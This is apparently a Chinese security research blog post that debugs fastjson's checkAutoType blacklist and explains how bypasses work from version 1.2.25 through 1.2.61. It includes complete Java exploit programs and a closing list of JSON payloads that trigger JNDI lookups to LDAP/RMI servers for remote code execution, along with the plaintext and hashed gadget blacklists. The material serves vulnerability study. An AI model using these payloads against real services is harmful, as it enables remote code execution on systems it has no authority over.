1.2.25 修复分析

首先导入1.2.25版本的修复吧,在pom.xml中导入对应版本

1
2
3
4
5
<dependency>  
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.25</version>
</dependency>

运行一下TemplatesImpl这条链发现存在之前没有的报错
image-20230827235812190
调试一下发现来到了下面这里
image-20230827235838109
在1.2.24版本中这里是直接调用了loadClass如下图
image-20230827235905974
而在1.2.25里是调用了checkAutoType进去看看这个方法干了什么,这里白日梦组长根据流程画了一个流程图如下,手工复制可能会有些错误
image-20230827235921948
checkAutoType中通过黑(denyList)白(acceptList)名单对类进行检验
image-20230827235939729
这里白名单默认为空,可手动添加,黑名单默认不为空,在默认情况下,autoTypeSupport为False,即先进行黑名单过滤,遍历denyList,如果引入的库以denyList中某个deny开头,就会抛出异常,中断运行,可以看到图中就检查到了com.sun然后直接跳出了
image-20230827235957813
denyList黑名单中列出了常见的反序列化漏洞利用链Gadgets:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
bsh
com.mchange
com.sun.
java.lang.Thread
java.net.Socket
java.rmi
javax.xml
org.apache.bcel
org.apache.commons.beanutils
org.apache.commons.collections.Transformer
org.apache.commons.collections.functors
org.apache.commons.collections4.comparators
org.apache.commons.fileupload
org.apache.myfaces.context.servlet
org.apache.tomcat
org.apache.wicket.util
org.codehaus.groovy.runtime
org.hibernate
org.jboss
org.mozilla.javascript
org.python.core
org.springframework

调试中可以看到因为autoTypeSupport为False所以进行黑名单校验然后抛异常退出,那么看看autoTypeSupport是什么

autoTypeSupport

autoTypeSupport是checkAutoType()函数出现后ParserConfig.java中新增的一个配置选项,在checkAutoType()函数的某些代码逻辑起到开关的作用。

默认情况下autoTypeSupport为False,将其设置为True有两种方法:

  • JVM启动参数:-Dfastjson.parser.autoTypeSupport=true
  • 代码中设置:ParserConfig.getGlobalInstance().setAutoTypeSupport(true);,如果有使用非全局ParserConfig则用另外调用setAutoTypeSupport(true);

AutoType白名单设置方法:

  1. JVM启动参数:-Dfastjson.parser.autoTypeAccept=com.xx.a.,com.yy.
  2. 代码中设置:ParserConfig.getGlobalInstance().addAccept("com.xx.a");
  3. 通过fastjson.properties文件配置。在1.2.25/1.2.26版本支持通过类路径的fastjson.properties文件来配置,配置方式如下:fastjson.parser.autoTypeAccept=com.taobao.pac.client.sdk.dataobject.,com.cainiao.

1.2.25~1.2.41绕过

先看exp,server端和之前一样

1
2
3
4
5
6
7
8
9
10
11
12
package bypass;  

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class bypass1 {
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String payload ="{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\",\"dataSourceName\":\"ldap://127.0.0.1:1099/ExportObject\",\"autoCommit\":\"true\" }";
JSON.parse(payload);
}
}

image-20230828000012407
和之前的区别就是开启了autoTypeSupport然后在com.sun.rowset.JdbcRowSetImpl开头加了个L结尾加个;这样就绕过了
下面调试一下,这里的Lcom.sun.rowset.JdbcRowSetImpl;类是不存在的
这里可以看到autoTypeSupport已经变为true了
image-20230828000033226
然后来到了黑名单校验
image-20230828000052244
这里会一个个检验最终检验不到跳出,可以自己手动跳出不然会判断很久,然后继续往下来到下面这里
image-20230828000106862
进入这个loadClass,在下面这里会对类进行判断如果类的首尾是L;后去掉首尾变为com.sun.rowset.JdbcRowSetImpl储存在newClassName
image-20230828000134596
最终在下面下面这里返回clazz即com.sun.rowset.JdbcRowSetImpl
image-20230828000147996
后面就和之前的差不多了

1.2.25~1.2.42 绕过

在1.2.42版本发现上面的这个exp打不通了,新的exp如下

1
2
3
4
5
6
7
8
9
10
11
12
package bypass;  

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class bypass1 {
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String payload ="{\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\",\"dataSourceName\":\"ldap://127.0.0.1:1099/ExportObject\",\"autoCommit\":\"true\" }";
JSON.parse(payload);
}
}

调试看一下,在下面这里调用了checkAutoType
image-20230828000205928
跟进去看一下,在下面这里我们发现类名变为了Lcom.sun.rowset.JdbcRowSetImpl;少了个L;
image-20230828000223809
返回看下处理逻辑,发现这里的处理逻辑不再是明文,采用了加密混淆
image-20230828000242717
并且黑名单也变为了如下形式
image-20230828000257574
Fastjson把原本明文形式的黑名单改成了哈希过的黑名单,但是有人已在Github上跑出了大部分黑名单包类:
LeadroyaL/fastjson-blacklist (github.com)
实际上就是如果类名首尾存在L;就会进行去除
image-20230828000322073
可以看到此时className变为了Lcom.sun.rowset.JdbcRowSetImpl;最终会走到下面这里
image-20230828000344652
后面的处理步骤就和1.2.41一样了,这里修复的感觉和我平时做事一样,考虑不全只去除了一次L;

1.2.25~1.2.43 绕过

这里上面的exp已经打不通了,不过先拿那个调一下看看在43版本是怎么处理的
首先是下面这里的判断,上面忘记说了,类名长度不能超过128且不能小于3否则抛出异常
image-20230828000404217
可以看到在下面这里直接抛出了异常
image-20230828000423114
在第二个if中对以LL开头的类直接抛出异常
image-20230828000440591
TypeUtils.loadClass中还有个对以[开头的类进行加载
image-20230828000452772
那么将exp改下以[开头自然就能绕过上面的if检测,然后继续调试来到下面这里
image-20230828000506507
经过调试发现只是加个[虽然能过检测但是无法弹出计算器且会报如下的错误
image-20230828000523575
上面返回的类名是[com.sun.rowset.JdbcRowSetImpl后面要完成的是反序列化,那么这个问题应该就是出在反序列化的步骤,继续调试,在下面这里可以看到返回的clazz是[Lcom.sun.rowset.JdbcRowSetImpl;
image-20230828000538012
找到了抛出异常的位置在parseArray方法中
image-20230828000557991
那么解决这个报错问题是不是就行了呢?先试试,解决报错根据上面的报错改,上面的报错如下

1
exepct '[', but ,, pos 42, json : {"@type":"[com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://127.0.0.1:1099/ExportObject","autoCommit":"true" }

在42的位置期待是[但是为,那么把exp改为如下

1
"{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[,\"dataSourceName\":\"ldap://127.0.0.1:1099/ExportObject\",\"autoCommit\":\"true\" }"

这次又报错了,如下

1
syntax error, expect {, actual string, pos 43, fastjson-version 1.2.43

在43的位置期待为{那么加个看看

1
"{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{,\"dataSourceName\":\"ldap://127.0.0.1:1099/ExportObject\",\"autoCommit\":\"true\" }";

弹出计算器成功
image-20230828000622738
exp如下

1
2
3
4
5
6
7
8
9
10
11
12
package bypass;  

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class bypass1 {
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String payload ="{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{,\"dataSourceName\":\"ldap://127.0.0.1:1099/ExportObject\",\"autoCommit\":\"true\" }";
JSON.parse(payload);
}
}

1.2.25~1.2.45绕过

在这个版本中,利用的是org.apache.ibatis.datasource.jndi.JndiDataSourceFactory对黑名单绕过,但是有一定的前提条件
前提条件:需要目标服务端存在mybatis的jar包,且版本需为3.x.x系列<3.5.0的版本。
这里ldap和rmi都能打,换个协议就行,本地的话server当然就要起rmi的了
导入mybatis的依赖

1
2
3
4
5
<dependency>  
<groupId>org.mybatis</groupId>
<artifactId>mybatis</artifactId>
<version>3.4.4</version>
</dependency>

exp如下

1
2
3
4
5
6
7
8
9
10
11
12
package bypass;  

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class bypass45 {
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String payload ="{\"@type\":\"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory\",\"properties\":{\"data_source\":\"ldap://127.0.0.1:1099/remoteObj\"}}";
JSON.parse(payload);
}
}

image-20230828000637764
下面调试看一下,如下可以看到类名如果以[开头直接抛出异常结束
image-20230828000653345
下面这里由于org.apache.ibatis.datasource.jndi.JndiDataSourceFactory不在黑名单进而绕过检测
image-20230828000710816
然后就算对这个类的利用分析,通过exp可以看到是对properties属性的利用,由于在deserialze方法下不太好调(技术太菜)直接来到JndiDataSourceFactory类下,看到存在setter方法为setProperties()fastjson能够自动调用,直接在该setter方法打断点,然后就是存在JNDI注入了,即InitialContext.lookup(),其中参数由我们输入的properties属性中的data_source值获取的:
image-20230828000726311

1.2.25~1.2.47绕过

在1.2.47版本中上面的exp又不行了,原因是这个类到黑名单去了
image-20230828000743553
这次利用的是之前的payload在默认不开启AutoTypeSupport的情况下通过缓存加载JdbcRowSetImpl类,exp如下

1
2
3
4
5
6
7
8
9
10
package bypass;  

import com.alibaba.fastjson.JSON;

public class bypass47 {
public static void main(String[] args){
String s = "{{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"DataSourceName\":\"ldap://127.0.0.1:1099/remoteObj\",\"AutoCommit\":\"false\"}}";
JSON.parseObject(s);
}
}

image-20230828000800194
继续调试一下,在这里就可以结合着组长的那个图来分析了

  • 在第一个中,因为在白名单中才能够进行缓存,所以这里不符合要求,第三个同理

  • 在第二个返回类当中,期望类为空且类与期望类一致的时候返回类,这里我们的期望类为空,所以这里能够符合条件,所以我们在往上找,只要缓存中存在类,我们就能够进行加载。

  • 第四个是基于期望类的,因为这里和期望类并无关所以也满足不了

  • 进入false来到第五个,又因为默认情况下AutoType为false,所以也加载不了
    所以现在就在缓存这块下功夫,看一下如何在缓存里面找到我们想要的类,这一块儿的流程如下图
    image-20230828000816375
    由于AutoType为false所以不会进入第一轮的黑名单检测来到TypeUtils.getClassFromMapping跟进来看看
    image-20230828000829713
    发现是从mappings里面找缓存,然后find uages看看mappings什么时候赋值,复现进行赋值的地方很多,但是大多是指定了一些基础类进行的缓存而loadClass这里只要我们加载类成功以后,他就会放入缓存中,下次调用直接从缓存中进行加载,这里我们就要想怎么才能够在loadClass的时候将我们的类加载入缓存当中
    image-20230828000844112
    然后继续寻找loadClass的调用,最终是找到了MiscCodec这个类,不知道为什么我find uages的时候找不到,如下
    image-20230828000858293
    没办法只能手动进入了,在MiscCodec.deserialze()中进行调用如下
    image-20230828000915703
    现在来看看这个MiscCodec是个什么,发现它实现了序列化与反序列化的接口在fastJson的反序列化中也会把他当作反序列化器来进行调用
    image-20230828000925778
    所以如果FastJson反序列化的类是属于Class.class的时候,就会调用MiscCodec反序列化器,然后调用loadClass,在传入我们想传入的字符串strVal后loadClass就会将字符串作为String className进行加载并放在缓存里面。
    image-20230828000938335
    然后这里的有个检测要满足不然就会抛异常,即strVal的键是否为val是的话再提取它的值
    image-20230828000951923
    然后赋值到objVal上
    image-20230828001004053
    最后赋值给strVal
    image-20230828001017952
    然后在缓存里面找到com.sun.rowset.JdbcRowSetImpl返回clazz
    image-20230828001032000
    最终的exp,这个的payload两次流程得写在一起一次性完成不然就读取不到缓存了,写法如下

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    package bypass;  

    import com.alibaba.fastjson.JSON;
    import com.alibaba.fastjson.serializer.MiscCodec;

    public class bypass47 {
    public static void main(String[] args){
    String s = "{{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"DataSourceName\":\"ldap://127.0.0.1:1099/remoteObj\",\"AutoCommit\":\"false\"}}";
    JSON.parseObject(s);

    }
    }

    image-20230828001101946
    而在1.2.48版本中缓存开关cache默认设置为了False,这个就不行了,同时这个方法在47及前面的版本利用也分为了两段

  • 1.2.25-1.2.32版本:未开启AutoTypeSupport时能成功利用,开启AutoTypeSupport反而不能成功触发;

  • 1.2.33-1.2.47版本:无论是否开启AutoTypeSupport,都能成功利用;

Fastjson <= 1.2.61 通杀

这个就记录一下payload吧,懒得跟了,看起来像是黑名单的绕过

Fastjson1.2.5 <= 1.2.59

需要开启AutoType

1
2
{"@type":"com.zaxxer.hikari.HikariConfig","metricRegistry":"ldap://localhost:1389/Exploit"}
{"@type":"com.zaxxer.hikari.HikariConfig","healthCheckRegistry":"ldap://localhost:1389/Exploit"}

Fastjson1.2.5 <= 1.2.60

无需开启 autoType:

1
2
3
{"@type":"oracle.jdbc.connector.OracleManagedConnectionFactory","xaDataSourceName":"rmi://10.10.20.166:1099/ExportObject"}

{"@type":"org.apache.commons.configuration.JNDIConfiguration","prefix":"ldap://10.10.20.166:1389/ExportObject"}

Fastjson1.2.5 <= 1.2.61

1
{"@type":"org.apache.commons.proxy.provider.remoting.SessionBeanProvider","jndiName":"ldap://localhost:1389/Exploi

已知哈希黑名单

目前已知的哈希黑名单的对应表如下:

version hash hex-hash name
1.2.42 -8720046426850100497 0x86fc2bf9beaf7aefL org.apache.commons.collections4.comparators
1.2.42 -8109300701639721088 0x8f75f9fa0df03f80L org.python.core
1.2.42 -7966123100503199569 0x9172a53f157930afL org.apache.tomcat
1.2.42 -7766605818834748097 0x9437792831df7d3fL org.apache.xalan
1.2.42 -6835437086156813536 0xa123a62f93178b20L javax.xml
1.2.42 -4837536971810737970 0xbcdd9dc12766f0ceL org.springframework.
1.2.42 -4082057040235125754 0xc7599ebfe3e72406L org.apache.commons.beanutils
1.2.42 -2364987994247679115 0xdf2ddff310cdb375L org.apache.commons.collections.Transformer
1.2.42 -1872417015366588117 0xe603d6a51fad692bL org.codehaus.groovy.runtime
1.2.42 -254670111376247151 0xfc773ae20c827691L java.lang.Thread
1.2.42 -190281065685395680 0xfd5bfc610056d720L javax.net.
1.2.42 313864100207897507 0x45b11bc78a3aba3L com.mchange
1.2.42 1203232727967308606 0x10b2bdca849d9b3eL org.apache.wicket.util
1.2.42 1502845958873959152 0x14db2e6fead04af0L java.util.jar.
1.2.42 3547627781654598988 0x313bb4abd8d4554cL org.mozilla.javascript
1.2.42 3730752432285826863 0x33c64b921f523f2fL java.rmi
1.2.42 3794316665763266033 0x34a81ee78429fdf1L java.util.prefs.
1.2.42 4147696707147271408 0x398f942e01920cf0L com.sun.
1.2.42 5347909877633654828 0x4a3797b30328202cL java.util.logging.
1.2.42 5450448828334921485 0x4ba3e254e758d70dL org.apache.bcel
1.2.42 5751393439502795295 0x4fd10ddc6d13821fL java.net.Socket
1.2.42 5944107969236155580 0x527db6b46ce3bcbcL org.apache.commons.fileupload
1.2.42 6742705432718011780 0x5d92e6ddde40ed84L org.jboss
1.2.42 7179336928365889465 0x63a220e60a17c7b9L org.hibernate
1.2.42 7442624256860549330 0x6749835432e0f0d2L org.apache.commons.collections.functors
1.2.42 8838294710098435315 0x7aa7ee3627a19cf3L org.apache.myfaces.context.servlet
1.2.43 -2262244760619952081 0xe09ae4604842582fL java.net.URL
1.2.46 -8165637398350707645 0x8eadd40cb2a94443L junit.
1.2.46 -8083514888460375884 0x8fd1960988bce8b4L org.apache.ibatis.datasource
1.2.46 -7921218830998286408 0x92122d710e364fb8L org.osjava.sj.
1.2.46 -7768608037458185275 0x94305c26580f73c5L org.apache.log4j.
1.2.46 -6179589609550493385 0xaa3daffdb10c4937L org.logicalcobwebs.
1.2.46 -5194641081268104286 0xb7e8ed757f5d13a2L org.apache.logging.
1.2.46 -3935185854875733362 0xc963695082fd728eL org.apache.commons.dbcp
1.2.46 -2753427844400776271 0xd9c9dbf6bbd27bb1L com.ibatis.sqlmap.engine.datasource
1.2.46 -1589194880214235129 0xe9f20bad25f60807L org.jdom.
1.2.46 1073634739308289776 0xee6511b66fd5ef0L org.slf4j.
1.2.46 5688200883751798389 0x4ef08c90ff16c675L javassist.
1.2.46 7017492163108594270 0x616323f12c2ce25eL oracle.net
1.2.46 8389032537095247355 0x746bd4a53ec195fbL org.jaxen.
1.2.48 1459860845934817624 0x144277b467723158L java.net.InetAddress
1.2.48 8409640769019589119 0x74b50bb9260e31ffL java.lang.Class
1.2.49 4904007817188630457 0x440e89208f445fb9L com.alibaba.fastjson.annotation
1.2.59 5100336081510080343 0x46c808a4b5841f57L org.apache.cxf.jaxrs.provider.
1.2.59 6456855723474196908 0x599b5c1213a099acL ch.qos.logback.
1.2.59 8537233257283452655 0x767a586a5107feefL net.sf.ehcache.transaction.manager.
1.2.60 3688179072722109200 0x332f0b5369a18310L com.zaxxer.hikari.
1.2.61 -4401390804044377335 0xc2eb1e621f439309L flex.messaging.util.concurrent.AsynchBeansWorkManagerExecutor
1.2.61 -1650485814983027158 0xe9184be55b1d962aL org.apache.openjpa.ee.
1.2.61 -1251419154176620831 0xeea210e8da2ec6e1L oracle.jdbc.rowset.OracleJDBCRowSet
1.2.61 -9822483067882491 0xffdd1a80f1ed3405L com.mysql.cj.jdbc.admin.
1.2.61 99147092142056280 0x1603dc147a3e358L oracle.jdbc.connector.OracleManagedConnectionFactory
1.2.61 3114862868117605599 0x2b3a37467a344cdfL org.apache.ibatis.parsing.
1.2.61 4814658433570175913 0x42d11a560fc9fba9L org.apache.axis2.jaxws.spi.handler.
1.2.61 6511035576063254270 0x5a5bd85c072e5efeL jodd.db.connection.
1.2.61 8925522461579647174 0x7bddd363ad3998c6L org.apache.commons.configuration.JNDIConfiguration
1.2.62 -9164606388214699518 0x80d0c70bcc2fea02L org.apache.ibatis.executor.
1.2.62 -8649961213709896794 0x87f52a1b07ea33a6L net.sf.cglib.
1.2.62 -5764804792063216819 0xafff4c95b99a334dL com.mysql.cj.jdbc.MysqlDataSource
1.2.62 -4438775680185074100 0xc2664d0958ecfe4cL aj.org.objectweb.asm.
1.2.62 -3319207949486691020 0xd1efcdf4b3316d34L oracle.jdbc.
1.2.62 -2192804397019347313 0xe1919804d5bf468fL org.apache.commons.collections.comparators.
1.2.62 -2095516571388852610 0xe2eb3ac7e56c467eL net.sf.ehcache.hibernate.
1.2.62 4750336058574309 0x10e067cd55c5e5L com.mysql.cj.log.
1.2.62 218512992947536312 0x3085068cb7201b8L org.h2.jdbcx.
1.2.62 823641066473609950 0xb6e292fa5955adeL org.apache.commons.logging.
1.2.62 1534439610567445754 0x154b6cb22d294cfaL org.apache.ibatis.reflection.
1.2.62 1818089308493370394 0x193b2697eaaed41aL org.h2.server.
1.2.62 2164696723069287854 0x1e0a8c3358ff3daeL org.apache.ibatis.datasource.
1.2.62 2653453629929770569 0x24d2f6048fef4e49L org.objectweb.asm.
1.2.62 2836431254737891113 0x275d0732b877af29L flex.messaging.util.concurrent.
1.2.62 3089451460101527857 0x2adfefbbfe29d931L org.apache.ibatis.javassist.
1.2.62 3718352661124136681 0x339a3e0b6beebee9L org.apache.ibatis.ognl.
1.2.62 4046190361520671643 0x3826f4b2380c8b9bL com.mysql.cj.jdbc.MysqlConnectionPoolDataSource
1.2.62 6280357960959217660 0x5728504a6d454ffcL org.apache.ibatis.scripting.
1.2.62 6734240326434096246 0x5d74d3e5b9370476L com.mysql.cj.jdbc.MysqlXADataSource
1.2.62 7123326897294507060 0x62db241274397c34L org.apache.commons.collections.functors.
1.2.62 8488266005336625107 0x75cc60f5871d0fd3L org.apache.commons.configuration

目前未知的哈希黑名单:

version hash hex-hash name
1.2.42 33238344207745342 0x761619136cc13eL
1.2.62 -6316154655839304624 0xa85882ce1044c450L
1.2.62 -5472097725414717105 0xb40f341c746ec94fL
1.2.62 -4608341446948126581 0xc00be1debaf2808bL
1.2.62 3256258368248066264 0x2d308dbbc851b0d8L
1.2.62 4841947709850912914 0x43320dc9d2ae0892L
1.2.62 6534946468240507089 0x5ab0cb3071ab40d1L

参考

Java反序列化Fastjson篇03-Fastjson各版本绕过分析 | Drunkbaby’s Blog (drun1baby.top)
Fastjson历史漏洞研究(一) | 天融信阿尔法实验室 (topsec.com.cn)
Java反序列化之FastJson反序列化及绕过 - 先知社区 (aliyun.com)
https://www.bilibili.com/video/BV1bG4y157Ef/?spm_id_from=333.999.0.0&vd_source=fdbccecc8d1a39a2449860e47c52b6e7